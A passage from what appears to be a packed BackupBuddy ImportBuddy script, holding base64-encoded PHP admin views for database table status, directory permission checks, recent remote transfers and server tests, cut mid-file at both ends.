jaG8gJz4nOwoJCQk/PgoJCQkJPHRkPjw/cGhwIGVjaG8gZXNjX2h0bWwoICRyb3dbJ05hbWUnXSApOyA/PgoJCQkJCTxkaXYgY2xhc3M9InJvdy1hY3Rpb25zIj4KCQkJCQkJPGEgaHJlZj0iPD9waHAgZWNobyBwYl9iYWNrdXBidWRkeTo6YWpheF91cmwoICdkYl9jaGVjaycgKTsgPz4mdGFibGU9PD9waHAgZWNobyBlc2NfYXR0ciggYmFzZTY0X2VuY29kZSggJHJvd1snTmFtZSddICkgKTsgPz4mIzAzODtUQl9pZnJhbWU9MSYjMDM4O3dpZHRoPTY0MCYjMDM4O2hlaWdodD02MDAiIGNsYXNzPSJ0aGlja2JveCIgdGl0bGU9IkNoZWNrIGRhdGFiYXNlIHRhYmxlIGZvciBhbnkgZXJyb3JzIG9yIGNvcnJ1cHRpb24uIj5DaGVjazwvYT4KCQkJCQkJfAoJCQkJCQk8YSBocmVmPSI8P3BocCBlY2hvIHBiX2JhY2t1cGJ1ZGR5OjphamF4X3VybCggJ2RiX3JlcGFpcicgKTsgPz4mdGFibGU9PD9waHAgZWNobyBlc2NfYXR0ciggYmFzZTY0X2VuY29kZSggJHJvd1snTmFtZSddICkgKTsgPz4mIzAzODtUQl9pZnJhbWU9MSYjMDM4O3dpZHRoPTY0MCYjMDM4O2hlaWdodD02MDAiIGNsYXNzPSJ0aGlja2JveCIgdGl0bGU9IlJlcGFpciB0YWJsZSB0aGF0IGhhcyBiZWVuIGNvcnJ1cHRlZC4gT25seSBuZWVkZWQgaWYgdGhlIHN0YXR1cyBvciBjaGVjayByZXNwb25zZSBpbmRpY2F0ZWQgZGFtYWdlLiI+UmVwYWlyPC9hPgoJCQkJCTwvZGl2PgoJCQkJPC90ZD4KCQkJCTx0ZD48P3BocCBlY2hvIGVzY19odG1sKCAkc3RhdHVzICk7ID8+PC90ZD4KCQkJCTx0ZD48P3BocCBlc2NfaHRtbF9lKCAnRW5naW5lJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICk7ID8+OiA8P3BocCBlY2hvIGVzY19odG1sKCAkcm93WydFbmdpbmUnXSApOyA/Pjxicj48P3BocCBlc2NfaHRtbF9lKCAnQ29sbGF0aW9uJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICk7ID8+OiA8P3BocCBlY2hvIGVzY19odG1sKCAkcm93WydDb2xsYXRpb24nXSApOyA/PjwvdGQ+CgkJCQk8dGQ+PD9waHAgZXNjX2h0bWxfZSggJ1VwZGF0ZWQnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsgPz46CgkJCQkJPD9waHAKCQkJCQlpZiAoIGVtcHR5KCAkcm93WydVcGRhdGVfdGltZSddICkgKSB7CgkJCQkJCWVzY19odG1sX2UoICdVbmF2YWlsYWJsZScsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApOwoJCQkJCX0gZWxzZSB7CgkJCQkJCWVjaG8gZXNjX2h0bWwoICRyb3dbJ1VwZGF0ZV90aW1lJ10gKTsKCQkJCQl9CgkJCQkJZWNobyAnPGJyPicgLiBlc2NfaHRtbF9fKCAnQ2hlY2tlZCcsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJzogJzsKCQkJCQlpZiAoIGVtcHR5KCAkcm93WydDaGVja190aW1lJ10gKSApIHsKCQkJCQkJZXNjX2h0bWxfZSggJ1VuYXZhaWxhYmxlJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICk7CgkJCQkJfSBlbHNlIHsKCQkJCQkJZWNobyBlc2NfaHRtbCggJHJvd1snQ2hlY2tfdGltZSddICk7CgkJCQkJfQoJCQkJCT8+CgkJCQk8L3RkPgoJCQkJPHRkPjw/cGhwIGVjaG8gZXNjX2h0bWwoICRyb3dbJ1Jvd3MnXSApOyA/PjwvdGQ+CgkJCQk8dGQ+PD9waHAgZWNobyBlc2NfaHRtbCggcGJfYmFja3VwYnVkZHk6OiRmb3JtYXQtPmZpbGVfc2l6ZSggJHNpemUgKSApOyA/PjwvdGQ+CgkJCQk8P3BocCBpZiAoIHRydWUgPT09ICRleGNsdWRlZCApIHsgPz4KCQkJCQk8dGQ+PHNwYW4gY2xhc3M9InBiX2xhYmVsIHBiX2xhYmVsLWltcG9ydGFudCI+PD9waHAgZXNjX2h0bWxfZSggJ0V4Y2x1ZGVkJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICk7ID8+PC9zcGFuPjwvdGQ+CgkJCQk8P3BocCB9IGVsc2UgeyA/PgoJCQkJCTx0ZD48P3BocCBlY2hvIGVzY19odG1sKCBwYl9iYWNrdXBidWRkeTo6JGZvcm1hdC0+ZmlsZV9zaXplKCAkc2l6ZSApICk7ID8+PC90ZD4KCQkJCTw/cGhwIH0gPz4KCQkJCTw/cGhwICR0b3RhbF9yb3dzICs9ICRyb3dbJ1Jvd3MnXTsgPz4KCQkJPC90cj4KCQk8P3BocCB9ID8+CgkJPHRyIGNsYXNzPSJlbnRyeS1yb3cgYWx0ZXJuYXRlIj4KCQkJPHRkPiZuYnNwOzwvdGQ+CgkJCTx0ZD4mbmJzcDs8L3RkPgoJCQk8dGQ+Jm5ic3A7PC90ZD4KCQkJPHRkPjxzdHJvbmc+PD9waHAgZXNjX2h0bWxfZSggJ1RPVEFMUycsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApOyA/Pjo8L3N0cm9uZz48L3RkPgoJCQk8dGQ+PHN0cm9uZz48P3BocCBlY2hvIGVzY19odG1sKCAkdG90YWxfcm93cyApOyA/Pjwvc3Ryb25nPjwvdGQ+CgkJCTx0ZD48c3Ryb25nPjw/cGhwIGVjaG8gZXNjX2h0bWwoIHBiX2JhY2t1cGJ1ZGR5OjokZm9ybWF0LT5maWxlX3NpemUoICR0b3RhbF9zaXplICkgKTsgPz48L3N0cm9uZz48L3RkPgoJCQk8dGQ+PHN0cm9uZz48P3BocCBlY2hvIGVzY19odG1sKCBwYl9iYWNrdXBidWRkeTo6JGZvcm1hdC0+ZmlsZV9zaXplKCAkdG90YWxfc2l6ZV93aXRoX2V4Y2x1c2lvbnMgKSApOyA/Pjwvc3Ryb25nPjwvdGQ+CgkJPC90cj4KCQk8P3BocAoJCXBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snc3RhdHMnXVsnZGJfc2l6ZSddICAgICAgICAgID0gJHRvdGFsX3NpemU7CgkJcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydzdGF0cyddWydkYl9zaXplX2V4Y2x1ZGVkJ10gPSAkdG90YWxfc2l6ZV93aXRoX2V4Y2x1c2lvbnM7CgkJcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydzdGF0cyddWydkYl9zaXplX3VwZGF0ZWQnXSAgPSB0aW1lKCk7CgkJcGJfYmFja3VwYnVkZHk6OnNhdmUoKTsKCgkJdW5zZXQoICR0b3RhbF9zaXplICk7CgkJdW5zZXQoICR0b3RhbF9yb3dzICk7CgkJdW5zZXQoICRyb3dzICk7CgkJPz4KCTwvdGJvZHk+CjwvdGFibGU+Cjxicj4K
###PACKDATA,FILE_END,/controllers/pages/server_info/database.php,importbuddy/controllers/pages/server_info/database.php
###PACKDATA,FILE_START,/controllers/pages/server_info/index.php,importbuddy/controllers/pages/server_info/index.php
PD9waHAKLyoqCiAqIFNpbGVuY2UgaXMgZ29sZGVuLgogKgogKiBAcGFja2FnZSBCYWNrdXBCdWRkeQogKi8K
###PACKDATA,FILE_END,/controllers/pages/server_info/index.php,importbuddy/controllers/pages/server_info/index.php
###PACKDATA,FILE_START,/controllers/pages/server_info/permissions.php,importbuddy/controllers/pages/server_info/permissions.php
PD9waHAKLyoqCiAqIFBlcm1pc3Npb25zIFNlcnZlciBJbmZvCiAqCiAqIEBwYWNrYWdlIEJhY2t1cEJ1ZGR5CiAqLwoKZWNobyAnPGJyPic7CgokdGVzdHMgPSBhcnJheSgpOwoKJHVwbG9hZHNfZGlycyA9IHdwX3VwbG9hZF9kaXIoKTsKJGRpcmVjdG9yaWVzICA9IGFycmF5KAoJQUJTUEFUSCAuICcnLAoJQUJTUEFUSCAuICd3cC1pbmNsdWRlcy8nLAoJQUJTUEFUSCAuICd3cC1hZG1pbi8nLAoJV1BfQ09OVEVOVF9ESVIgLiAnL3RoZW1lcy8nLAoJV1BfUExVR0lOX0RJUiAuICcvJywKCVdQX0NPTlRFTlRfRElSIC4gJy8nLAoJcnRyaW0oICR1cGxvYWRzX2RpcnNbJ2Jhc2VkaXInXSwgJ1xcLycgKSAuICcvJywKCUFCU1BBVEggLiAnd3AtaW5jbHVkZXMvJywKCWJhY2t1cGJ1ZGR5X2NvcmU6OmdldEJhY2t1cERpcmVjdG9yeSgpLAoJYmFja3VwYnVkZHlfY29yZTo6Z2V0TG9nRGlyZWN0b3J5KCksCik7CmlmICggQGZpbGVfZXhpc3RzKCBiYWNrdXBidWRkeV9jb3JlOjpnZXRUZW1wRGlyZWN0b3J5KCkgKSApIHsgLy8gVGhpcyBkaXIgaXMgdXN1YWxseSB0cmFuc2llbnQgc28gbWF5IG5vdCBleGlzdC4KCSRkaXJlY3Rvcmllc1tdID0gYmFja3VwYnVkZHlfY29yZTo6Z2V0VGVtcERpcmVjdG9yeSgpOwp9Cgpmb3JlYWNoICggJGRpcmVjdG9yaWVzIGFzICRkaXJlY3RvcnkgKSB7CgoJJG1vZGVfb2N0YWxfZm91ciA9ICc8aT4nIC4gX18oICdVbmtub3duJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnPC9pPic7Cgkkb3duZXIgICAgICAgICAgID0gJzxpPicgLiBfXyggJ1Vua25vd24nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICc8L2k+JzsKCglpZiAoICEgZmlsZV9leGlzdHMoICRkaXJlY3RvcnkgKSApIHsKCQkkbW9kZV9vY3RhbF9mb3VyID0gJ0RpcmVjdG9yeSBkb2VzXCd0IGV4aXN0JzsKCQkkb3duZXIgICAgICAgICAgID0gJ24vYSc7Cgl9Cgkkc3RhdHMgPSBwbHVnaW5idWRkeV9zdGF0OjpzdGF0KCAkZGlyZWN0b3J5ICk7CglpZiAoIGZhbHNlICE9PSAkc3RhdHMgKSB7CgkJJG1vZGVfb2N0YWxfZm91ciA9ICRzdGF0c1snbW9kZV9vY3RhbF9mb3VyJ107CgkJJG93bmVyICAgICAgICAgICA9ICRzdGF0c1sndWlkJ10gLiAnOicgLiAkc3RhdHNbJ2dpZCddOwoJfQoJJHRoaXNfdGVzdCA9IGFycmF5KAoJCSd0aXRsZScgICAgICA9PiAnLycgLiBzdHJfcmVwbGFjZSggQUJTUEFUSCwgJycsICRkaXJlY3RvcnkgKSwKCQknc3VnZ2VzdGlvbicgPT4gJzw9IDc1NScsCgkJJ3ZhbHVlJyAgICAgID0+ICRtb2RlX29jdGFsX2ZvdXIsCgkJJ293bmVyJyAgICAgID0+ICRvd25lciwKCSk7CglpZiAoIGZhbHNlID09PSAkc3RhdHMgfHwgJG1vZGVfb2N0YWxfZm91ciA+IDc1NSApIHsKCQkkdGhpc190ZXN0WydzdGF0dXMnXSA9IF9fKCAnV0FSTklORycsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApOwoJfSBlbHNlIHsKCQkkdGhpc190ZXN0WydzdGF0dXMnXSA9IF9fKCAnT0snLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsKCX0KCWFycmF5X3B1c2goICR0ZXN0cywgJHRoaXNfdGVzdCApOwoKfSAvLyBlbmQgZm9yZWFjaC4KCj8+Cgo8dGFibGUgY2xhc3M9IndpZGVmYXQiPgoJPHRoZWFkPgoJCTx0ciBjbGFzcz0idGhlYWQiPgoJCQk8dGg+PD9waHAgZXNjX2h0bWxfZSggJ1JlbGF0aXZlIFBhdGgnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsgPz48L3RoPgoJCQk8dGg+PD9waHAgZXNjX2h0bWxfZSggJ1N1Z2dlc3Rpb24nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsgPz48L3RoPgoJCQk8dGg+PD9waHAgZXNjX2h0bWxfZSggJ1ZhbHVlJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICk7ID8+PC90aD4KCQkJPHRoPjw/cGhwIGVzY19odG1sX2UoICdPd25lciAoVUlEOkdJRCknLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsgPz48L3RoPgoJCQk8dGggc3R5bGU9IndpZHRoOiA2MHB4OyI+PD9waHAgZXNjX2h0bWxfZSggJ1N0YXR1cycsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApOyA/PjwvdGg+CgkJPC90cj4KCTwvdGhlYWQ+Cgk8dGZvb3Q+CgkJPHRyIGNsYXNzPSJ0aGVhZCI+CgkJCTx0aD48P3BocCBlc2NfaHRtbF9lKCAnUmVsYXRpdmUgUGF0aCcsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApOyA/PjwvdGg+CgkJCTx0aD48P3BocCBlc2NfaHRtbF9lKCAnU3VnZ2VzdGlvbicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApOyA/PjwvdGg+CgkJCTx0aD48P3BocCBlc2NfaHRtbF9lKCAnVmFsdWUnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsgPz48L3RoPgoJCQk8dGg+PD9waHAgZXNjX2h0bWxfZSggJ093bmVyIChVSUQ6R0lEKScsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApOyA/PjwvdGg+CgkJCTx0aCBzdHlsZT0id2lkdGg6IDYwcHg7Ij48P3BocCBlc2NfaHRtbF9lKCAnU3RhdHVzJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICk7ID8+PC90aD4KCQk8L3RyPgoJPC90Zm9vdD4KCTx0Ym9keT4KCQk8P3BocCBmb3JlYWNoICggJHRlc3RzIGFzICR0aGlzX3Rlc3QgKSB7ID8+CgkJCTx0ciBjbGFzcz0iZW50cnktcm93IGFsdGVybmF0ZSI+CgkJCQk8dGQ+PD9waHAgZWNobyBlc2NfaHRtbCggJHRoaXNfdGVzdFsndGl0bGUnXSApOyA/PjwvdGQ+CgkJCQk8dGQ+PD9waHAgZWNobyBlc2NfaHRtbCggJHRoaXNfdGVzdFsnc3VnZ2VzdGlvbiddICk7ID8+PC90ZD4KCQkJCTx0ZD48P3BocCBlY2hvIGVzY19odG1sKCAkdGhpc190ZXN0Wyd2YWx1ZSddICk7ID8+PC90ZD4KCQkJCTx0ZD48P3BocCBlY2hvIGVzY19odG1sKCAkdGhpc190ZXN0Wydvd25lciddICk7ID8+PC90ZD4KCQkJCTx0ZD4KCQkJCQk8P3BocCBpZiAoICdPSycgPT0gJHRoaXNfdGVzdFsnc3RhdHVzJ10gKSB7ID8+CgkJCQkJCTxzcGFuIGNsYXNzPSJwYl9sYWJlbCBwYl9sYWJlbC1zdWNjZXNzIj48P3BocCBlc2NfaHRtbF9lKCAnUGFzcycsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApOyA/Pjwvc3Bhbj4KCQkJCQk8P3BocCB9IGVsc2VpZiAoICdGQUlMJyA9PSAkdGhpc190ZXN0WydzdGF0dXMnXSApIHsgPz4KCQkJCQkJPHNwYW4gY2xhc3M9InBiX2xhYmVsIHBiX2xhYmVsLWltcG9ydGFudCI+PD9waHAgZXNjX2h0bWxfZSggJ0ZhaWwnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsgPz48L3NwYW4+CgkJCQkJPD9waHAgfSBlbHNlaWYgKCAnV0FSTklORycgPT0gJHRoaXNfdGVzdFsnc3RhdHVzJ10gKSB7ID8+CgkJCQkJCTxzcGFuIGNsYXNzPSJwYl9sYWJlbCBwYl9sYWJlbC13YXJuaW5nIj48P3BocCBlc2NfaHRtbF9lKCAnV2FybmluZycsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApOyA/Pjwvc3Bhbj4KCQkJCQk8P3BocCB9IGVsc2UgeyA/PgoJCQkJCQl1bmtub3duCgkJCQkJPD9waHAgfSA/PgoJCQkJPC90ZD4KCQkJPC90cj4KCQk8P3BocCB9ID8+Cgk8L3Rib2R5Pgo8L3RhYmxlPgoKPGJyPjxicj4K
###PACKDATA,FILE_END,/controllers/pages/server_info/permissions.php,importbuddy/controllers/pages/server_info/permissions.php
###PACKDATA,FILE_START,/controllers/pages/server_info/remote_sends.php,importbuddy/controllers/pages/server_info/remote_sends.php
PD9waHAKLyoqCiAqIFJlbW90ZSBTZW5kcyBTZXJ2ZXIgSW5mbyBQYWdlCiAqCiAqIEBwYWNrYWdlIEJhY2t1cEJ1ZGR5CiAqLwoKPz4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoJalF1ZXJ5KGZ1bmN0aW9uKCkgewoJCWpRdWVyeSggJy5wYl9iYWNrdXBidWRkeV9yZW1vdGVzZW5kX2Fib3J0JyApLm9uKCAnY2xpY2snLCBmdW5jdGlvbigpewoJCQlqUXVlcnkuYWpheCh7CgkJCQl0eXBlOiAnUE9TVCcsCgkJCQl1cmw6IGpRdWVyeSh0aGlzKS5hdHRyKCAnaHJlZicgKSwKCQkJCXN1Y2Nlc3M6IGZ1bmN0aW9uKGRhdGEpewoJCQkJCWRhdGEgPSBqUXVlcnkudHJpbSggZGF0YSApOwoJCQkJCWlmICggJzEnID09IGRhdGEgKSB7CgkJCQkJCWFsZXJ0KCAnUmVtb3RlIHRyYW5zZmVyIGFib3J0ZWQuIFRoaXMgbWF5IHRha2UgYSBtb21lbnQgdG8gdGFrZSBlZmZlY3QuJyApOwoJCQkJCX0gZWxzZSB7CgkJCQkJCWFsZXJ0KCAnRXJyb3IgIzg1NDQ4OTQ5LiBVbmV4cGVjdGVkIHNlcnZlciByZXNwb25zZS4gRGV0YWlsczogYCcgKyBkYXRhICsgJ2AuJyApOwoJCQkJCX0KCQkJCX0KCQkJfSk7CgkJCXJldHVybiBmYWxzZTsKCQl9KTsKCX0pOwo8L3NjcmlwdD4KPD9waHAKCnJlcXVpcmVfb25jZSBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvY2xhc3Nlcy9ob3VzZWtlZXBpbmcucGhwJzsKYmFja3VwYnVkZHlfaG91c2VrZWVwaW5nOjp0cmltX3JlbW90ZV9zZW5kX3N0YXRzKCk7CgpyZXF1aXJlICdfcmVtb3RlX3NlbmRzLnBocCc7IC8vIFNldHMgJHNlbmRzLgoKaWYgKCBjb3VudCggJHNlbmRzICkgPT09IDAgKSB7CgllY2hvICc8YnI+PHNwYW4gY2xhc3M9ImRlc2NyaXB0aW9uIj4nIC4gZXNjX2h0bWxfXyggJ1RoZXJlIGhhdmUgYmVlbiBubyByZWNlbnQgZmlsZSB0cmFuc2ZlcnMuJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnPC9zcGFuPjxicj4nOwp9IGVsc2UgewoJJHNlbmRzID0gYXJyYXlfc2xpY2UoICRzZW5kcywgMCwgYmFja3VwYnVkZHlfY29uc3RhbnRzOjpSRUNFTlRfU0VORFNfTUFYX0xJU1RJTkdfQ09VTlQgKTsgLy8gT25seSBkaXNwbGF5IG1vc3QgcmVjZW50IFggc2VuZHMgdG8ga2VlcCBwYWdlIGZyb20gYmVpbmcgYm9nZ2VkIGRvd24uCglwYl9iYWNrdXBidWRkeTo6JHVpLT5saXN0X3RhYmxlKAoJCSRzZW5kcywKCQlhcnJheSgKCQkJJ2FjdGlvbicgID0+IHBiX2JhY2t1cGJ1ZGR5OjpwYWdlX3VybCgpLAoJCQknY29sdW1ucycgPT4gYXJyYXkoCgkJCQlfXyggJ1NlbnQgRmlsZScsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAoJCQkJX18oICdEZXN0aW5hdGlvbicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAoJCQkJX18oICdUcmlnZ2VyJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksCgkJCQlfXyggJ1RyYW5zZmVyIEluZm9ybWF0aW9uJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnIDxpbWcgc3JjPSInIC4gcGJfYmFja3VwYnVkZHk6OnBsdWdpbl91cmwoKSAuICcvaW1hZ2VzL3NvcnRfZG93bi5wbmciIHN0eWxlPSJ2ZXJ0aWNhbC1hbGlnbjogMHB4OyIgdGl0bGU9IlNvcnRlZCBtb3N0IHJlY2VudCBzdGFydGVkIGZpcnN0Ij4nLAoJCQkJX18oICdTdGF0dXMnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICcgPHNwYW4gY2xhc3M9ImRlc2NyaXB0aW9uIj4oaG92ZXIgZm9yIG9wdGlvbnMpPC9zcGFuPicsCgkJCSksCgkJCSdjc3MnICAgICA9PiAnd2lkdGg6IDEwMCU7JywKCQkpCgkpOwoJZWNobyAnPGRpdiBjbGFzcz0iYWxpZ25yaWdodCBhY3Rpb25zIj4nOwoJcGJfYmFja3VwYnVkZHk6OiR1aS0+bm90ZSggJ0hvdmVyIG92ZXIgaXRlbXMgYWJvdmUgZm9yIGFkZGl0aW9uYWwgb3B0aW9ucy4nICk7CgllY2hvICc8L2Rpdj4nOwp9CgplY2hvICc8YnI+JzsK
###PACKDATA,FILE_END,/controllers/pages/server_info/remote_sends.php,importbuddy/controllers/pages/server_info/remote_sends.php
###PACKDATA,FILE_START,/controllers/pages/server_info/server.php,importbuddy/controllers/pages/server_info/server.php
PD9waHAKLyoqCiAqIFNlcnZlciBUb29scyBQYWdlIFNlcnZlciBJbmZvCiAqCiAqIEBwYWNrYWdlIEJhY2t1cEJ1ZGR5CiAqLwoKPz4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KCS5wYl9iYWNrdXBidWRkeV9yZWZyZXNoX3N0YXRzIHsKCQljdXJzb3I6IHBvaW50ZXI7Cgl9Cjwvc3R5bGU+CjxzY3JpcHQ+CmpRdWVyeShmdW5jdGlvbigpIHsKCWZ1bmN0aW9uIGJiX2lzTnVtYmVyKCBuICkgewoJCXJldHVybiAhaXNOYU4ocGFyc2VGbG9hdChuKSkgJiYgaXNGaW5pdGUobik7Cgl9OwoKCWpRdWVyeSgnLnBiX2JhY2t1cGJ1ZGR5X3Rlc3RFcnJvckxvZycpLm9uKCAnY2xpY2snLCBmdW5jdGlvbihlKSB7CgkJalF1ZXJ5KCAnLnBiX2JhY2t1cGJ1ZGR5X2xvYWRpbmcnICkuc2hvdygpOwoJCWpRdWVyeS5wb3N0KCBqUXVlcnkodGhpcykuYXR0ciggJ3JlbCcgKSwgeyBmdW5jdGlvbjogJ3Rlc3RFcnJvckxvZycgfSwKCQkJZnVuY3Rpb24oZGF0YSkgewoJCQkJalF1ZXJ5KCAnLnBiX2JhY2t1cGJ1ZGR5X2xvYWRpbmcnICkuaGlkZSgpOwoJCQkJYWxlcnQoIGRhdGEgKTsKCQkJfQoJCSk7CgkJcmV0dXJuIGZhbHNlOwoJfSk7CgoJalF1ZXJ5KCAnLnBiX2JhY2t1cGJ1ZGR5X3Rlc3RQSFBSdW50aW1lJyApLm9uKCAnY2xpY2snLCBmdW5jdGlvbihlKXsKCQlsb2FkaW5nID0galF1ZXJ5KHRoaXMpLmNoaWxkcmVuKCAnLnBiX2JhY2t1cGJ1ZGR5X2xvYWRpbmcnICk7CgkJc2VyaWFsaXplZEZvcm0gPSBqUXVlcnkodGhpcykuY2xvc2VzdCggJ2Zvcm0nICkuc2VyaWFsaXplKCk7CgoJCXRlc3RQSFBSdW50aW1lSW50ZXJ2YWwgPSBzZXRJbnRlcnZhbCggZnVuY3Rpb24oKXsKCQkJbG9hZGluZy5zaG93KCk7CgkJCWpRdWVyeS5wb3N0KAoJCQkJJzw/cGhwIGVjaG8gcGJfYmFja3VwYnVkZHk6OmFqYXhfdXJsKCAncnVuX3BocF9ydW50aW1lX3Rlc3RfcmVzdWx0cycgKTsgPz4nLAoJCQkJc2VyaWFsaXplZEZvcm0sCgkJCQlmdW5jdGlvbihkYXRhKSB7CgkJCQkJbG9hZGluZy5oaWRlKCk7CgkJCQkJaWYgKCBiYl9pc051bWJlciggZGF0YSApICkgeyAvLyBGaW5pc2hlZAoJCQkJCQlyZXN1bHRfb2JqLmh0bWwoIGRhdGEgKyAnIDw/cGhwIF9lKCAnc2VjcycsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApOyA/PicgKTsKCQkJCQkJY2xlYXJJbnRlcnZhbCggdGVzdFBIUFJ1bnRpbWVJbnRlcnZhbCApOwoJCQkJCX0gZWxzZSB7IC8vIEluIHByb2dyZXNzLgoJCQkJCQlyZXN1bHRfb2JqLmh0bWwoIGRhdGEgKTsKCQkJCQl9CgkJCQl9CgkJCSk7CgkJfSwgNTAwMCApOwoJfSk7CgoJalF1ZXJ5KCAnLnBiX2JhY2t1cGJ1ZGR5X3Rlc3RQSFBNZW1vcnknICkub24oICdjbGljaycsIGZ1bmN0aW9uKGUpewoJCWxvYWRpbmcgPSBqUXVlcnkodGhpcykuY2hpbGRyZW4oICcucGJfYmFja3VwYnVkZHlfbG9hZGluZycgKTsKCQlzZXJpYWxpemVkRm9ybSA9IGpRdWVyeSh0aGlzKS5jbG9zZXN0KCAnZm9ybScgKS5zZXJpYWxpemUoKTsKCgkJdGVzdFBIUE1lbW9yeUludGVydmFsID0gc2V0SW50ZXJ2YWwoIGZ1bmN0aW9uKCl7CgkJCWxvYWRpbmcuc2hvdygpOwoJCQlqUXVlcnkucG9zdCgKCQkJCSc8P3BocCBlY2hvIHBiX2JhY2t1cGJ1ZGR5OjphamF4X3VybCggJ3J1bl9waHBfbWVtb3J5X3Rlc3RfcmVzdWx0cycgKTsgPz4nLAoJCQkJc2VyaWFsaXplZEZvcm0sCgkJCQlmdW5jdGlvbihkYXRhKSB7CgkJCQkJbG9hZGluZy5oaWRlKCk7CgkJCQkJaWYgKCBiYl9pc051bWJlciggZGF0YSApICkgeyAvLyBGaW5pc2hlZAoJCQkJCQlyZXN1bHRfb2JqLmh0bWwoIGRhdGEgKyAnIDw/cGhwIF9lKCAnTUInLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsgPz4nICk7CgkJCQkJCWNsZWFySW50ZXJ2YWwoIHRlc3RQSFBNZW1vcnlJbnRlcnZhbCApOwoJCQkJCX0gZWxzZSB7IC8vIEluIHByb2dyZXNzLgoJCQkJCQlyZXN1bHRfb2JqLmh0bWwoIGRhdGEgKTsKCQkJCQl9CgkJCQl9CgkJCSk7CgkJfSwgNTAwMCApOwoJfSk7CgoJalF1ZXJ5KCcucGJfYmFja3VwYnVkZHlfcmVmcmVzaF9zdGF0cycpLm9uKCAnY2xpY2snLCBmdW5jdGlvbihlKSB7CgkJbG9hZGluZyA9IGpRdWVyeSh0aGlzKS5jaGlsZHJlbiggJy5wYl9iYWNrdXBidWRkeV9sb2FkaW5nJyApOwoJCWxvYWRpbmcuc2hvdygpOwoKCQlyZXN1bHRfb2JqID0galF1ZXJ5KCAnI3BiX3N0YXRzXycgKyBqUXVlcnkodGhpcykuYXR0ciggJ3JlbCcgKSApOwoKCQlqUXVlcnkucG9zdCggalF1ZXJ5KHRoaXMpLmF0dHIoICdhbHQnICksIGpRdWVyeSh0aGlzKS5jbG9zZXN0KCAnZm9ybScgKS5zZXJpYWxpemUoKSwKCQkJZnVuY3Rpb24oZGF0YSkgewoJCQkJbG9hZGluZy5oaWRlKCk7CgkJCQlyZXN1bHRfb2JqLmh0bWwoIGRhdGEgKTsKCQkJfQoJCSk7CgoJCXJldHVybiBmYWxzZTsKCX0pOwp9KTsKPC9zY3JpcHQ+Cjw/cGhwIHJlcXVpcmUgJ19zZXJ2ZXJfdGVzdHMucGhwJzsgPz4KCjx0YWJsZSBjbGFzcz0id2lkZWZhdCBzdHJpcGVkIj4KCTx0aGVhZD4KCQk8dHIgY2xhc3M9InRoZWFkIj4KCQkJPHRoIHN0eWxlPSJ3aWR0aDogMTVweDsiPiZuYnNwOzwvdGg+CgkJCTx0aD48P3BocCBlc2NfaHRtbF9lKCAnU2VydmVyIENvbmZpZ3VyYXRpb24nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsgPz48L3RoPgoJCQk8dGg+PD9waHAgZXNjX2h0bWxfZSggJ1N1Z2dlc3Rpb24nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsgPz48L3RoPgoJCQk8dGg+PD9waHAgZXNjX2h0bWxfZSggJ1ZhbHVlJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICk7ID8+PC90aD4KCQkJPHRoIHN0eWxlPSJ3aWR0aDogNjBweDsiPjw/cGhwIGVzY19odG1sX2UoICdTdGF0dXMnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsgPz48L3RoPgoJCTwvdHI+Cgk8L3RoZWFkPgoJPHRmb290PgoJCTx0ciBjbGFzcz0idGhlYWQiPgoJCQk8dGggc3R5bGU9IndpZHRoOiAxNXB4OyI+Jm5ic3A7PC90aD4KCQkJPHRoPjw/cGhwIGVzY19odG1sX2UoICdTZXJ2ZXIgQ29uZmlndXJhdGlvbicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApOyA/PjwvdGg+CgkJCTx0aD48P3BocCBlc2NfaHRtbF9lKCAnU3VnZ2VzdGlvbicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApOyA/PjwvdGg+CgkJCTx0aD48P3BocCBlc2NfaHRtbF9lKCAnVmFsdWUnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsgPz48L3RoPgoJCQk8dGggc3R5bGU9IndpZHRoOiA2MHB4OyI+PD9waHAgZXNjX2h0bWxfZSggJ1N0YXR1cycsICdpdC